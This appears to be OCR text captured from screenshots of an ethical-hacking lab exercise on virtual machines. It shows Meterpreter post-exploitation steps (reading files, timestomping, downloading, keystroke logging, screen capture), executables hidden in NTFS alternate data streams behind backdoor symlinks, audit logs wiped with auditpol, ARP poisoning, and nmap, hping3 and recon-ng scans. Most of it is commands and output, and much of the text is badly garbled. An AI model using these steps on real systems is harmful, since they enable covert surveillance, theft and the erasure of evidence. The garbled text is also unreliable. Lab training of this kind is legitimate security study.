100666/ rw-ru-ru- 47 Fil  2022-12-30 1 +0000 confidential document.txt
100666/ rw-rw-ru- 282 Fil  2022-10-27 1 +0100 desktop. ini
100777/ruxruxrux 73802 fil  2022-12-30 19: +0000 expltest.exe

neterpreter > l
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meterpreter > cat confidential document.txt
This text contains very classified information.meterpreter > |
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This text contains very classified information.meterpreter > timestomp confidential document.txt
[] Showing MACE attributes for confidential document.txt

Modified 2022-12-30 19:27:26 +0000
Accessed +0000
Created +0000

Entry Modified: 2022-12-30 19:45:35 +0000
neterpreter > If
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meterpreter > ls
Listing: C:\Users\W10AC\Downloads

MyBackdoor . exe
Operasetup. exe
WinPcap_4_1 3.exe
Wireshark-win64-4.0.1.exe
ca_setup.exe
confidential_document. txt
desktop. ini

Mode size Type Last modified Name
100777/rwxrwxrwx 73802 il  2022-12-30 19:35:00 +0000
100777/rwxrwxrwx 2800792 il  2022-12-30 19:50:54 +0000
100777/rwxrwxrwx 915128 il  2022-12-30 +0000
100777/rwxrwxrwx 78685424 il  2022-11-02 +0000
100777/rwxrwxrwx 8244106 il ~ 2022-12-30 15:17:24 +0000
100666/ rw-rw-ru- 47 Fil  2022-12-30 +0000
100666/ rw-rw-ru- 282 Fil  2022-10-27 +0100
100777/rwxrwxrwx 73802 il  2022-12-30 19:02:47 +0000

meterpreter > download OperaSetup.exe
[+] Downloading: Operasetup.exe
[*] Downloaded 1.00 MiB of 2.67
[*] Downloaded 2.00 MiB of 2.67
[*] Downloaded 2.67 MiB of 2.67

[*] download
neterpreter > If

OperaSetup. exe

> /home/kali/Operasetup. exe
MiB (37.44%): OperaSetup.exe
MiB (74.88%): OperaSetup.exe
MiB (100.0%): OperaSetup.exe
= /home/kali/Operasetup.exe

expltest.exe

— /home/kali/Operasetup. exe
— /home/kali/Operasetup. exe
— /home/kali/Operasetup. exe
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meterpreter > keyscan_start
Starting the keystroke sniffer
meterpreter > keyscan_dump
Dumping captured keystrokes ...

top secerat<*H><"H><"H><"H>rettoday i went to t<"H>location a and then location b to pay c an<"H>t 6<RIGHT SHIFT:

neterpreter > Il




image149.png
meterpreter > idletime
User has been idle for: 1 min 4 secs

neterpreter >
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its | Faverites
Status Name » Manufacturer MAC address Comments
= wio TORTGBI0E  PCS Systermtechik G OBODZTCTZ54
= Serva20Teome 1921681004 PCS Systermtechrik G 080027680660
= Server2012 121681007 PCS Systermtechmik G 0B0DZTSBDAAS
= 1921681005 121681005 PCS Systertechrik G 080027928065
® 1921681003 121681003 PCS Systertechrik G 080DV TTASAF
= 1921681002 1921681002 525400123500
= 1921681001 1921681001 25400123500
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about:sessionrestore X ehY2WqTF.jpeg (JPEGImage X +

c @ D file:///homelkalilehY2WqTF jpeg % ]

Kali Linux # KaliTools @ KaliDocs ¥ Kali Forums o Kali NetHunter  Exploit-DB “ Google Hacking DB 1 OffSec

meterpreter > screengrab

| The "screengrab” command requires the "espia” extension to be loaded (run: “load espia’)
meterpreter > load espia

Loading extension espia ... Success

meterpreter > screengrab

Screenshot saved to: /home/kali/ehYzWaTF.jpeg

meterpreter > []
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:\HideMyFiles>dir
Volume in drive C has no label.
Volume Serial Number is 2068-EC4S
Directory of C:\HideMyFiles

12/30/2622 12:41 PN <DIR>

12/30/2622 12:41 PH  <DIR> -
10/26/2022 06:37 AM 4,864,376 emt.exe
10/26/2022 67:49 AM 2,261,648 jre-8u3s1-windows-1586-iftu.exe
12/30/2022 12:42 P 75 read.txt

3 File(s) 7,126,099 bytes

2 Dir(s)  15,058,886,656 bytes free

HideMyFiles>type c:\HideMyFiles\emt.exe > c:\HideMyFiles\read.txt:emt.exe
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2/30/2022 12:41 PM <DIR>
2/36/2022 12:41 P <DIR> .
0/26/2022 06:37 AM 4,864,376 emt.exe

0/26/2022 67:49 AM 2,261,648 jre-8u3s1-windows-1586-iftu.exe
12/30/2022 12:42 P 75 read.txt
3 File(s) 7,126,099 bytes

2 Dir(s)  15,058,886,656 bytes free

\HideMyFiles>type c:\HideMyFiles\emt.exe > c:\HideMyFiles\read.txt:emt.exe

\HidetlyFiles>dir
Volume in drive C has no label.
Volume Serial Number is 2068-EC4S

Directory of C:\HideMyFiles
2/30/2022 12:41 PM  <DIR>

2/36/2022 12:41 P <DIR> .
4,864,376 emt.exe

0/26/2022
0/26/2022 67:49 AM 2,261,648 jre-8u3s1-windows-1586-iftu.exe
12/30/2022 12:50 P 75 read.txt

3 File(s) 7,126,099 bytes

2 Dir(s)  15,054,026,668 bytes free

\HidetlyFiless,
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:\HideMyFilessdel emt.exe

HideMyFilessmklink backdoor_emt.exe read.txt:emt.exe
symbolic link created for backdoor_emt.exe <<===>> read.txt:emt.exe

HideMyFiles>
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0/26/2022 ©6:37 AM
0/26/2022 ©7:49 AM
2/30/2022 12:42 P
3 File(s)
2 Dir(s)

ilTrackerPro Setup

1s,
\HideMyFiles>type c:\HideM
\HideMyFiles>dir S
Volume in drive C has no 1a

volume Serial Number is 206

Directory of C:\WideMyFiles

2/30/2022 12:41 PM  <DIR
2/30/2022 12:41 PM  <DIR
0/26/2022 ©6:37 AM
0/26/2022 ©7:49 AM
2/30/2022 12:50 PM

3 File(s)

2 pir(s) 15,

\HideMyFiles>del emt.exe

\HideMyFiles>nklink backdol

ymbolic link created for backdoor_emt.exe <<=-->> read.txt:emt.exe

\HideMyFiles>backdoor_ent .exe

\HideMyFiles>

Welcome to the eMailTrackerPro
Setup Wizard

tion of

i other appication
le to updat

Without having to reboot your

continue,





image155.png
Welcome to Java - Updated License Terms

C:\HideMyFiles))

C:\HideMyFiles>)
Molume in driy
Volume Serial

Directory of d

12/36/2622 12
12/36/2622 12
12/36/2622 12
16/26/2622 07
12/36/2622 12
3 File(s) 2,261,723 bytes
2 Dir(s)  15,058,821,120 bytes free

C:\HideMyFiles>type c:\HidelyFiles\jre-g8u351-windous-i586-iftu.exe > c:\HidelyFiles\read.txt:jre-8u3si-

C:\HideMyFiles>del jre-8u3s1-windows-i586-iftu.exe

C:\HideMyFiles>nklink backdoor_jre-8u351-windows-i586-ift
symbolic link created for backdoor_jre-8u3si-windows-i586-iftu.exe <

.exe read.txt:jre-8u3s1-windows-is86-iftu.exe
> read. txt:jre-8u3s1-windows-1586-iftu.exe

C:\HideMyFiles>backdoor_jre-8u351-windows-i586-1ftu.exe

C:\HideMyFiles>
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:\Users\Administrator>auditpol /set /category:"policy change”
he command was successfully executed.
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C:\Users\Administrator>auditpol /set /category:"logon/logoff"
The command was successfully executed.




image163.png
Logon/Logoff
Logon
Logoff
Account Lockout
Ipsec Main Hode
Ipsec Quick Mode
Ipsec Extended Mode
Special Logon
Other Logon/Logoff Events
Netuork Policy Server
User / Device Claims
Group Membership

Success
Success
Success
Success
Success
Success
Success
Success
Success
Success
Success




image164.png
:\Users\Adninistrator>auditpol /clear /y
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Racinin Server is not found on W10,
You can install Radrin Server by startng Advanced IP Scanner on
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‘Shared folders and printers.





image21.png
» Net8I0S group.
1921681006 WORKGROUP

192.168.1005
192.168.1003
192.168.1002
192.168.100.1




image22.png
Try for free

www.certifiedhacker.com





image23.png
-

e T—

[——

s sman et sose e nevion

E w0
@
® o
@
.
.
.
.

oo
.o
.o
oo
.o
oo

[—

f—





image24.png
v HostedScan Security Dashboard Targets Scans Risks Reports Docs~ Pricing @~

Add Targets ‘ ‘ New Scan
igh
e
s _____________________________________________________]
Accepted
Closed
Scans in progress - Scheduled scans - . | B B .

ks Breakdown

ost Recent Scans Most Recent Risks

SCAN TYPE TARGET(S) PROGRESS / RESULTS TITLE TARGET THREATLEVEL/

OpenVAS www.itsecgames.com 0% 3 Absence of Anti-CSRF Tokens www.itsecgames.com @ vedium

OWASP ZAP www.itsecgames.com @ PDF Missing Anti-clickjacking Header www.itsecgames.com @ Medium

Nmap www.itsecgames.com Queued Vulnerable J5 Library www.itsecgames.com @ Medium
X-Content-Type-Options Header Missing www.itsecgames.com ® ov
Information Disclosure - Debug Error Messages. www.itsecgames.com ® ov

See all 3scans > See all 7 risks -
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Nmap Report PSHostedScan Logo

by HostedScan Security

“This email contains a summary of your Nmap report. The complete Nmap report is also
attached as a PDF.

Risks Detected

Total number of unaccepted risk occurences by severity

High Medium Low

New Risks (5 of 23)

New risks detected since your last scan.

Open TCP Port: 22 (1 occurence) @ vegium
Open TCP Port: 21 (1 occurence) @ vegium
Open TCP Port: 26 (1 occurence) @ vegium

‘Open TCP Port: 110 (1 occurence) @ Medium




image28.png
Scan Summary
Nmap 7.40 was inated at Fi Jan 6 20:42:29 2023 wit these arguments:

nmap v -0X=- -host-lmeout=283005 -Pn -T4 -sT ~-webxml - max-reiries=1 -open -p0-65355
W certfiedhacker.com

Verbosiy: 1; Debug level 0

Nimap done a Fri Jan 6 20:42.47 2023; 11P adress (1 host up) scanned n 18.61 seconds.

162.241.216.11 | box5331.bluehost.com | www.certifiedhacker.com

Address
- 16224121611 (pva)
Hostnames

« wcertfiedhacker.com (user)
- box5331 bluehostcom (PTR)

Ports
The 65329 ports scanned but natshown below are i siate:closed
+ 65320 poris repled wih: conn-refused
The & ports scanned but not shown below are n stat: filtered
+ 4 pors repled wih: no-responses

[Port[State cogate ciosed (o) iered o0 [Service [Reason [Product [Version [Extra info
[t Ticp [open e [syn-ack
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[53Jicp [open [domain [syn-ack
[0 Jicp Jopen [syn-ack
[110 Jrcp [open [syn-ack
[163_Jicp [open [syn-ack
[243_Trcp [open [syn-ack
993 Jrcp [open [syn-ack
095 Jicp [open [syn-ack
[2077 Jrcp [open [syn-ack
[2078 [rcp [open [syn-ack
[2079 Jrcp [open [syn-ack
[2080 Jrcp [open [syn-ack
[2082 [rcp [open [syn-ack
[2083 Jrcp [open [syn-ack
[2086 Jrcp [open [syn-ack
[2087 Jrcp [open [syn-ack
[2095 Jrcp [open [syn-ack
[2096 Jrcp [open [syn-ack
[2222 [rcp [open [syn-ack
[3306 Jrcp [open [syn-ack
[5432 [rcp [open [syn-ack
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[ (root@kati)-I~]
-+ sudo apt install maltego

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

suggested packages:
maltego-teeth
The following NEW packages will be installed
maltego
0 upgraded, 1 newly installed, 0 to remove and 1079 not upgraded
Need to get 136 MB of archives.
After this operation, 228 MB of additional disk space will be used
Get:1 http://kali.download/kali kali-rolling/non-free amdst maltego all 4.3.0-okalil [136 MB]
Fetched 136 M8 in 17s (7,792 kB/s)
Selecting previously unselected package maltego.
(Reading database ... 311331 files and directories currently installed.
Preparing to unpack ... /maltego_4.3.0-0kalil all.deb
Unpacking maltego (4.3.0-kalil)
setting up maltego (4.3.0-0kalil)
Processing triggers for kali-menu (2022.3.1)
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[C(root®kati)-[~]
- maltego
WARNING: package com.apple.eawt not in java.desktop
Config File path = /root/.maltego/v4.3.0/etc/maltego.conf
canonical: /usr/lib/jvm/java-11-openjdk-andes
javaHome: /usr/lib/jvm/default-java
Tesource: con/paterva/maltego/java/config/jre/TestIDK.class — /tmp/temp841451023904500383216389987621982/TestIDK. class,
executing: /usr/lib/jvm/java-11-openjdk-and64/bin/java ~classpath /tmp/tempss1451023904500383216389987621982 TestIDK, in
result: 0
command execution finished
out: 11.0.16, 11.0.16+8-post-Debian-1, Debian, Linux, amded
jdkhome: /usr/lib/jvm/default-java
canonical: /usr/lib/jvm/java-11-openjdk-andes
javaHome: /usr/lib/jvm/default-java
 executing: /usr/1ib/jvm/java-11-openjdk-and6s/bin/java ~classpath /tmp/temp8s1451023904500383216389987621982 TestIDK, in
result: 0
command execution finished
out: 11.0.16, 11.0.16+8-post-Debian-1, Debian, Linux, amded
jdkhome: /usr/lib/jvm/default-java
canonical: /usr/lib/jvm/java-11-openjdk-andes
JavaHome: /usr/lib/jvn/default-java
executing: /usr/lib/jvm/java-11-openjdk-and64/bin/java ~classpath /tmp/temps41451023904500383216389987621982 TestIDK, in
result: 0
command execution finished
out: 11.0.16, 11.0.16+8-post-Debian-1, Debian, Linux, amded
jdkhome: /usr/1ib/jvn/default-java
Checking for updates Fri Jan 06 18:27:09 GMT 2023
Found 17 updates.
WARNING: package com.apple.eawt not in java.desktop
WARNING: package com.apple.eawt not in java.desktop
Config File path = /root/.maltego/v4.3.0/etc/maltego.conf
canonical: /usr/lib/jvm/java-11-openjdk-andes
JjavaHome: /usr/lib/jvn/default-java
Tesource: con/paterva/maltego/java/config/jre/TestIDK.class — /tmp/templ777042583590721185616418674448929/TestIDK. class
executing: /usr/lib/jvm/java-11-openjdk-and64/bin/java ~classpath /tmp/temp1777042583590721185616418674448929 TestIDK, in
result: 0
command execution finished
out: 11.0.16, 11.0.16+8-post-Debian-1, Debian, Linux, amded
jdkhome: /usr/1ib/3vn/default-java
canonical: /usr/lib/jvm/java-11-openjdk-andes
JjavaHome: /usr/lib/jvn/default-java
executing: /usr/lib/jvm/java-11-openjdk-and64/bin/java ~classpath /tmp/temp1777042583590721185616418674448929 TestIDK, in
result: 0
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Product Selection

Welcome to Maltec

/e hope that you enjoy using our product as much as we enjoy building it!

Please choose how you want to use Maltego; Compare Products Activate without Internet

Maltego One Maltego One is the new unified solution to access and activate Maltego plans for

e Professionals and Enterprises.

@ Purchase

Maltego XL Maltego extra Large is Paterva's premium solution to visualise large data sets and

e allows for more than 10 000 entities in a single graph.

@ Purchase

Maltego Classic Maltego Classic is a commercial version of Maltego which allows users to visualize

up to 10 000 entities in a graph.
Activate with key & B

@ Purchase
Maltego CE (Free) In Maltego CE (Community Edition) the community transforms will be installed and
can be run to generate graphs. but the features are limited and the resulting
(Active) araphs may ot be used for commercial purposes.

Maltego CaseFile (Free)  inMaltego CaseFile raphs can only be created manually. no transforms may be
run. More types of entities will be installed and the resulting graphs may be used
for commercial purposes.

OO O
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The Footprint L3 machine requires the following inputs:

Domain Name | www.certfiedhacker.com
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Host 192.168.100.4 added to TARGET1
Host192.168.100.6 added to TARGET2
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ARP poisoning victims:
GROUP 1:192.168.100.4 08:00:27:6B:06:6D

GROUP 2:192.168.100.6 08:00:27:C7:25:44
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Length Info

192.165.100.6 is at 08:00:27:92:b0:65
192.165.100.4 is at 08:00:27:92:b0:65
192.165.100.6 is at 08:00:27:92:b0:65
192.165.100.4 is at 08:00:27:92:b0:65
Who has 192.168.100.1? Tell 192.165.100.6

Wno has 192.168.100.47 Tell 192.168.160.5
Who has 192.168.100.62 Tell 192.165.100.5
192.165.100.4 is at 5:00:27:6b:06:6d
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£33333838388





image53.png
Packets: Sent = 1, Received = @, Lost = 1 (160% loss),
C: \Users\Administrator>ping wwi.itsecgames.com -i 5 -n 1

Pinging itsecgames.com [31.3.96.46] with 32 bytes of data:
Reply from 31.55.187.186: TTL expired in transit.

ping statistics for 31.3.96.40:
Packets: Sent = 1, Received = 1, Lost = @ (8% loss),

\Users\Administrator>ping ww.itsecgames.com -i 9 -n 1

Pinging itsecgames.com [31.3.96.46] with 32 bytes of data:
Reply from 166.49.195.198: TTL expired in transit.

ping statistics for 31.3.96.40
Packets: Sent = 1, Received = 1, Lost = @ (8% loss),

Users\Administrator>ping ww.itsecgames.com -i 11 -n 1

Pinging itsecgames.com [31.3.96.46] with 32 bytes of data:
Reply from 95.142.106.211: TTL expired in transit.

ping statistics for 31.3.96.40:
Packets: Sent = 1, Received = 1, Lost = @ (8% loss),

C: \Users\Administrator>ping www.itsecgames.com -i 12 -n 1

Pinging itsecgames.com [31.3.96.46] with 32 bytes of data:
Reply from 176.74.228.8: TTL expired in transit.

ping statistics for 31.3.96.40:
Packets: Sent = 1, Received = 1, Lost = @ (8% loss),

\Users\Administrator>ping wwi.itsecgames.com -i 14 -n 1

Pinging itsecgames.com [31.3.96.46] with 32 bytes of data:
Reply from 31.3.96.40: bytes=32 time-3ems TTL-51

ping statistics for 31.3.96.40
Packets: Sent = 1, Received = 1, Lost = @ (8% loss),
Approximate round trip times in milli-seconds:
Minimum = 36ms, Maximum = 36ms, Average = 36ms
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\Users\Administrator>ping 192.168.160.5 -r 5

Pinging 192.168.106.5 with 32 bytes of data:

Reply from 192.
Route: 192.
192,

Reply from 192.
Route: 192.
192,

Reply from 192.
Route: 192.
192,

Reply from 192.
Route: 192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

100.
100.
100.
100.
100.
100.
100.
100.
100.
100.
100.
100.

s

bytes=32 time<ims TTL-64
-

bytes=32 timecims TTL-64
-

bytes=32 timecims TTL-64
-

bytes=32 timecims TTL-64
-

ping statistics for 192.168.100.5:

Packets: Sent

4, Received

4, Lost = @ (8% loss),

Approximate round trip times in milli-seconds:
Minimum = ems, Maximum - ems, Average = ems
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“:\Users\Administrator>ping 192.168.100.5 -s 4

binging 192.168.100.5 with 32 bytes of data:
Reply from 192.168.160. 2 timecins TTL-64

Timestamp: 192.168. 48264217 ->
192.168. 48264217 ->
192.168. : 48263736
Reply from 192.168.160. 32 timecims TTL-64
Timestamp: 192.168. 48265233 ->
192.168. : 48265233 ->
192.168. 48264752
Reply from 192.168.160. 32 time<ims TTL=64
Timestamp: 192.168. : 48266248 ->
192.168. 48266248 ->
192.168. : 48265767

Reply from 192.168.160. 2 timecins TTL-64

Timestamp: 192.168. 48267264 ->
192.168. 48267264 ->
192.168. : 48266783

bing statistics for 192.168.160.5:
Packets: Sent = 4, Received = 4, Lost = @ (8% loss),
approximate round trip times in milli-seconds:
Minimum = @ms, Maximum - ems, Average = 6ms
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Map

# Hop IF Hop Name Locatic o
‘ 9 9127 220 {Uniea
09.159.252. 184 e net Dockla

14,19 4 tnet (Unie

i 195.219.83.104 orel.ldn-london.2s545; London
£3.243.251.1 el.svi-santaclara. sk (Canaa
85110598 a0-82.tcore!.hw-losangeles. asB: (Canaa

86197113 (Canaa
35.164.227.202 ec2 202 us-west-2.compute. amazonaws.com _ Seattle

Email Summary

Email Address: contact@bonapetit.com
1P:35.164.227.202

Location: Seattle, WA, USA
Abuse Address: abuse®amazonaws.com

system Information:

@ The system is uning a mail server (ESWITP.
Haraka/2.8.20 ready) on port 25. This means that
thissystem can be used to send emal.

@ There is no HTTP server running on this system (th
port is closed).

@ There is no HTTPS server running on this system
(the port s closed).

‘@ There s no FTP server running on this system (the
portis closed).

Network Whois
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CERTIFIEDHACKER.COM

[+] URL: https://wmi.bing.com/search?first-0sq-domain¥3Acertifiedhacker. com
[*] Country: None

[+] Host: wi.certifiedhacker.com

[*] Ip_Address: None

[+] Latitude: None

[*] Longitude: None

[*] Notes: None

[*] Region: None

]
[+] Sleeping to avoid lockout ...

[+] URL: https://wmi.bing.con/search?first-05q=domain¥3Acertifiedhacker. coms-domaink3Awmm .
certifiedhacker.com

SUMMARY

[+] 90 total (90 new) hosts found.
[recon-ng][ACCB6000] [bing_domain_web] > |
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[recon-ng][ACCB6000] > marketplace install hackertarget
[+] Module installed: recon/domains-hosts/hackertarget
[+] Reloading modules ..
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[+]
[*] Country: None
[*] Host: itf.certifiedhacker.com
[+] Ip_Address: 162.241.216.11
[*] Latitude: None

[+] Longitude: None

[+] Notes: None

[+] Region: None

1]

[+] Country: None
[*] Host: mail.certifiedhacker.com
[+] Ip_Address: 162.241.216.11

[*] Latitude: None

[+] Longitude: None

[+] Notes: None

[+] Region: None

[*]

[+] Country: None
[+] Host: pstn.certifiedhacker.con
[+] Ip_Address: 162.241.216.11

[+] Latitude: None

[*] Longitude: None

[+] Notes: None
[+] Region: None
11

[*] Country: None
[*] Host: iam.certifiedhacker.com
[+] Ip_Address: 162.241.216.11
[*] Latitude: None

[*] Longitude: None

[+] Notes: None
[+] Region: None
5]

SUMMARY

[+] 530 total (522 new) hosts found.
[recon-ng][ACCB6000] [hackertarget] > |
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Lrecon-ng ][ACCB6000 ][ hackertarget] > back
[recon-ng][ACCB6000] > modules load brute_hosts
[recon-ng][ACCB6000] [brute_hosts] > run
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[*] wm-1.certifiedhacker.com = No record found.
[+] wwi-02.certifiedhacker.com = No record found.
[+] wmi-2.certifiedhacker.con = No record found.
[+] wwi.certifiedhacker.com = No record found.
[+] wwi-int.certifiedhacker.com = No record found.
[+] wm01.certifiedhacker.con = No record found.
[+] wwil.certifiedhacker.com = No record found.
[+] wm02. certifiedhacker.con = No record found.
[+] wmichat.certifiedhacker.com = No record found.
[+] wwi3.certifiedhacker.com = No record found.
[+] ww2.certifiedhacker.com = No record found.
[+] wmdev.certifiedhacker.com = No record found.
[+] wwimail.certifiedhacker.com = No record found.
[+] wyoming.certifiedhacker.com = No record found.
[+] wy.certifiedhacker.com = No record found.

[+] x-ray.certifiedhacker.con = No record found.
[+] x.certifiedhacker.com = No record found.

[+] xlogan.certifiedhacker.com = No record found.
[+] xi.certifiedhacker.com = No record found.

[+] xmail.certifiedhacker.con = No record found.
[+] xp.certifiedhacker.com = No record found.

[+] xml.certifiedhacker.com = No record found.

[+] y.certifiedhacker.com = No record found.

[+] yankee. certifiedhacker.com = No record found.
[+] ye.certifiedhacker.com = No record found.

[+] yellow.certifiedhacker.com = No record found.
[+] yt.certifiedhacker.com = No record found.

[+] young.certifiedhacker.con = No record found.
[+] yu.certifiedhacker.com = No record found.

[+] z.certifiedhacker.com = No record found.

[+] z-log.certifiedhacker.con = No record found.
[+] za.certifiedhacker.com = No record found.

[+] zera.certifiedhacker.com = No record found.
[+] zebra.certifiedhacker.con = No record found.
[+] zeus.certifiedhacker.com = No record found.
[+] zlog.certifiedhacker.com = No record found.
[+] zw.certifiedhacker.com = No record found.

[+] zulu.certifiedhacker.com = No record found.
[+] zm.certifiedhacker.com = No record found.

SUMMARY

[+] 166 total (19 new) hosts found.
[recon-ng][ACCB600@] [brute_hosts] > ll
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[C(root®kati)-[~1
- hping3 ~F -P -U 192.168.100.6 —p 80 —c 1

HPING 192.168.100.6 (ethd 192.168.100.6): FPU set, 40 headers + 0 data bytes

len-46 ip=192.168.100.6 ttl-128 DF id=78 sport=80 flags=RA seq=0 win-0 rtt=8.0 ms

— 192.168.100.6 hping statistic —
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 8.0/8.0/8.0 ms
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10.000000  192.168.100.6 20.90.152.133 TLSv1.2 98 Application Data
o.00193  20.90.152.133 192.168.100.5 Tisvi.2 229 Application Data
300380  192.165.100.6 20.50.152.133 T 5449784 » 443 [ACK] Seqed5 Ack-176 Win=63190 Len=d
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subfinder

This package contains a subdomain discovery tool that discovers valid subdomains for websites by using passi
online sources. It has a simple modular architecture and is optimized for speed. subfinder is built for doing one
that very well.

ing only - passive subdomain enumeration, and it doe:

Installed size: 9.62 MB
How to install: sudo apt install subfinder

Dependencies:

S subfinder

:~# subfinder -h
e of subfinder:

Upload results to the Chaos API (api-key required)
-config string
Configuration file for API Keys, etc (default "/root/.config/subfinder/
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793 360.788528  192.168.100.5 192.168.100.6 TP 60 3162 > @ [<None>] Seg: Len=0.
794 360788528  192.165.100.5 192.165.100.6 T 60 3212 > @ [<None>] Seq Len=o.
795 360.788528  192.165.100.5 192.165.100.6 T 60 3103 > @ [<None>] Seq Len=o.
796 360.788528  192.168.100.5 192.165.100.6 T 60 3104 > @ [<None>] Seq Len=o.
797 360.788525  192.165.100.5 192.165.100.6 T 60 3105 > @ [<None>] Seq Len=o
798 360.788528  192.165.100.5 192.165.100.6 T 603199 > @ [<None>] Seq Len=o

192.165.100.5 192.165.100.6 T 60 3255 > @ [<None>] Seq Len=o
500 360.788528  192.165.100.5 192.165.100.6 T 60 3106 > @ [<None>] Seq Len=o.
501 360.788528  192.165.100.5 192.165.100.6 T 60 3107 > @ [<None>] Seq Len=o.
502 360.788528  192.165.100.5 192.165.100.6 T 60 3105 > @ [<None>] Seq Len=o.
503 360788528 192.165.100.5 192.165.100.6 T 60 3109 > @ [<None>] Seq Len=o.
504 360.788525  192.165.100.5 192.165.100.6 T 60 3110 > @ [<None>] Seq Len=o.
505 360788528 192.165.100.5 192.165.100.6 T 60 3111 > @ [<None>] Seq 12 Len=o
506 360788525 192.165.100.5 192.165.100.6 T 60 3112 > @ [<None>] Seq 12 Len=o
507 360788528  192.165.100.5 192.165.100.6 T 60 3249 > @ [<None>] Seq 12 Len=o
508 360788528 192.165.100.5 192.165.100.6 T 60 3113 > @ [<None>] Seq 12 Len=o
509 360788525  192.165.100.5 192.165.100.6 T 60 3179 > @ [<None>] Seq 12 Len=o
810 360788528  192.165.100.5 192.165.100.6 T 60 3272 > @ [<None>] Seq 12 Len=o
811 360788528 192.165.100.5 192.165.100.6 T 60 3114 > @ [<None>] Seq 12 Len=o.
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File Created: 10/28/22 05:53:13

Address
21921681008
[BINetBIOS Names
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Bsnvp
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3

File Server Service
Workstation Service
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°
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Repert rint Date and Time: 110122 141527
ResultsDatabase: samo

Analyst
T
Organization:
Prine

ol Phone:
Emai Adaress:

Test Dt snd Time: 110122 147358
Reterence Numbar. 1837537258

Test Results Report

Test AP Ping
Input 1321651005

Rt

Index 1P Address MAC Address Response Time (sec) | Type

o 192.168.1009 08-0027-DC4AFO 63.387020 Broadcast
1 192.168.1009 08-0027-DC4AFO 0.002108 Unicast

2 192.168.1009 08-0027-DC4AFO 0.004216 Unicast

3 192.168.1009 08-0027-DC4AFO 0.001506 Unicast

4 192.168.1009 08-0027-DC4AFO 0.000000 Unicast

5 192.168.1009 08-0027-DC4AFO 0.004819 Unicast

g 192.168.1009 08-0027-DC4AFO 0.004819 Unicast

7 192.168.1009 08-0027-DC4AFO 0.004518 Unicast

B 192.168.1009 08-0027-DC4AFO 0.001807 Unicast

o 192.168.1009 08-0027-DC4AFO 0.002108 Unicast
10 192.168.1009 08-0027-DC4AFO 0.007228 Unicast
1 192.168.1009 08-0027-DC4AFO 0.001807 Unicast
12 192.168.1009 08-0027-DC4AFO 0.001506 Unicast
3 192.168.1009 08-0027-DC4AFO 0.006626 Unicast
14 192.168.1009 08-0027-DC4AFO 0.005120 Unicast
15 192.168.100.9 08-00-27-DC-4A-FO. 0004819 Unicast
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————  PasswordPolicy  [v]Open Shared Files

L_|Add to Favorites

GetInfo
stop

1o Share Wirite Check.

rite Test Directory Name.
Server2016-192.168. 100

Login (recommended)
ComectAs

Disconnect

System Info for 192.168.100.6
£ User List
&-Error: NetQuerybisplaylnfornation.
recurn value: § = Access is denied.
&-Account. Info
&-Erros
recurn value: § = Access is denied.
- Group Info
Exzor: NetLocalGroupEnum.
£ Password Bolicy
£ Error, Password Policy: NetUser¥odalset.
zecurn value: § = Access is denied.
£ Exror, Lockout Policy: NetUser¥odalset.
recurn value: § = Access is denied.
- Local Security Authority(LSA) Policy
Server role: Primary
£ Names
NetBI0S Computer Name: W10

NetUserEnun.

£ Quota
Paged pool limit: 33554432
Non paged pool limit: 1048576
Min vork set size: 65536
Max vork set size: 251658240
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Ly nmap -sX -v ~T4 192.168.100.4

sStarting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 15:13 GNT
Initiating ARP Ping Scan at 15:13

Scanning 192.168.100.4 [1 port]

Completed ARP Ping Scan at 15:13, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:13

Completed Parallel DNS resolution of 1 host. at 15:13, 0.00s elapsed
Initiating XMAS Scan at 15:13

Scanning 192.168.100.4 [1000 ports]

Increasing send delay for 192.168.100.4 from 0 to 5 due to 81 out of 201 dropped probes since last increase.
Completed XMAS Scan at 15:13, 6.575 elapsed (1000 total ports)

Nmap scan report for 192.168.100.4

Host is up (0.000165 latency).

AUL 1000 scanned ports on 192.168.100.4 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:68:06:6D (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds
Raw packets sent: 1102 (44.068KB) | Rcvd: 1001 (40.028KB)

E(moxeka\i)—[/m/nli]

i nmap -sX -v -Ti 192.168.100.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-02 15:14 GNT
Initiating ARP Ping Scan at 15:14
Scanning 192.168.100.4 [1 port]
Completed ARP Ping Scan at 15:14, 0.065 elapsed (1 total hosts)
Initiating Parallel DN resolution of 1 host. at 15:14
Completed Parallel DNS resolution of 1 host. at 15:14, 0.00s elapsed
Initiating XMAS Scan at 15:14
Scanning 192.168.100.4 [1000 ports]
Completed XMAS Scan at 15:14, 21.53s elapsed (1000 total ports)
Nmap scan report for 192.168.100.4
Host is up (0.00024s latency).
ALL 1000 scanned ports on 192.168.100.4 are in ignored states.
Not shown: 1000 open|filtered tcp ports (no-response)
MAC Address: 08:00:27:68:06:6D (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.71 seconds
Raw packets sent: 2001 (80.028KkB) | Rcvd: 1 (288)




